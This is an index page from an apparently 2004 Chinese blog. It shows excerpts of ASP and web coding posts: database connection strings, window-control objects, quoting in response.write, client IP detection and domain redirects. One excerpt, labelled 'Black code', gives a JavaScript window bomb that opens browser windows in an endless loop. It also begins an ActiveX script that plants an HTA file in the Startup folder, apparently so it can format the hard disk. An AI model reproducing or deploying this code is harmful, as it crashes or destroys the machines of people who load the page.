View Mode: Normal | Article List

ASP数据库编程常用代码

[ 2004-09-08 18:32:08 | Author: zhenhua ]
1. ASP与Access数据库连接:
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile
%>
 

2. ASP与SQL数据库连接:
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>


建立记录集对象:
set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2
...

Read More...

恶意代码/Black code

[ 2004-09-08 18:30:44 | Author: zhenhua ]
1.窗口炸弹代码
<script language="javascript">
function windowBomb()
{
var iCounter=0;
while (true)
{
window.open("http://******","crashing"+iCounter,"width=,height=,resizable=no");
iCounter++;
}
}
</script>

2.格式化硬盘的代码
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C--3FBFC">
</object>
<script>
scr.Reset();
scr.Path="c:\\windows\\Start Menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id=&apos;wsh&apos; classid=&apos;clsid:F935DC22-1CF0-aaDo-ADB9-ooCo4FD58AoB&apos;>
...

Read More...

窗口控制代码

[ 2004-09-08 18:29:36 | Author: zhenhua ]
<!--最小化-->
<OBJECT id="min" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-

00aa003b7a11">
<PARAM name="Command" value="Minimize"></OBJECT>
<button onclick="min.Click()"><font face="webdings">0</font></button>

<!--最大化-->
<OBJECT id="max" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-

00aa003b7a11">
<PARAM name="Command" value="Maximize"></OBJECT>
<button onclick="max.Click()"><font face="webdings">1</font></button>

<!--关闭窗口-->
...

Read More...
1,双引号""

ASP中处在双引号中的可以是任意的字符、字符串,HTML代码。
比如

<%response.write ("cnbruce here")%><hr>
<%response.write ("<b>cnbruce here</b>")%>

产生的页面效果分别是:默认文字和加粗文字“cnbruce here”

下面再想想,如果我要在输出的页面文字上加一颜色效果该怎么办?

1,一般文字颜色这样写:<font color="#0000ff">cnbruce</font>

2,response.write写法是这样的:response.write("输入显示的内容")

3,如果要将上面超链接代码放到response.write中,有没有发现write方法中的双引号和color中的双引号形成嵌套效果,
势必形成response.write("<font color="#0000ff">cnbruce</font>")

4,调试结果不容乐观,因为color的前引号和write的前引号形成匹配,内容为<font color=;同样color的后引号也就和write的后引号...

Read More...

得到客户端IP的code

[ 2004-09-08 18:27:52 | Author: zhenhua ]
得到IP地址的方法是<%=Request.ServerVariables("REMOTE_ADDR")%>,如果客户使用的代理服务器,这样就得到了代理服务器的IP,下面是得到真实IP的代码:
function GetIp()
dim realip,proxy
realip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
proxy = Request.ServerVariables("REMOTE_ADDR")
if realip = "" then
GetIp = proxy
else
GetIp = realip
end if
end function


限制某段IP地址
限制某段IP地址访问网页的一个列子:
function IP2Num(sip)
dim str1,str2,str3,str4
dim num
IP2Num=0
if isnumeric(left(sip,2)) then
str1=left(sip,instr(sip,".")-1)
sip=mid(sip,instr(sip,".")+1)
...

Read More...

ASP/PHP实现主机头多域名转向的方法

[ 2004-09-08 18:24:22 | Author: zhenhua ]
ASP:
1.使用CASE语句,缺点:同一域名即@和www需要两次循环,代码显重复
<%
host=lcase(request.servervariables("HTTP_HOST"))
select CASE host
CASE "www.abc.com"
 response.redirect "index.htm"
CASE "abc.com"
 response.redirect "index.htm"

CASE ELSE
 response.redirect "other.htm"
END select
%>
--------------------------
<%if instr(Request.ServerVariables
("SERVER_NAME"),"kekexi.com")>0 then
response.redirect "index.asp"
else if instr(Request.ServerVariables
("SERVER_NAME"),"4668.com")>0 then
response.redirect "x/index.asp"
...

Read More...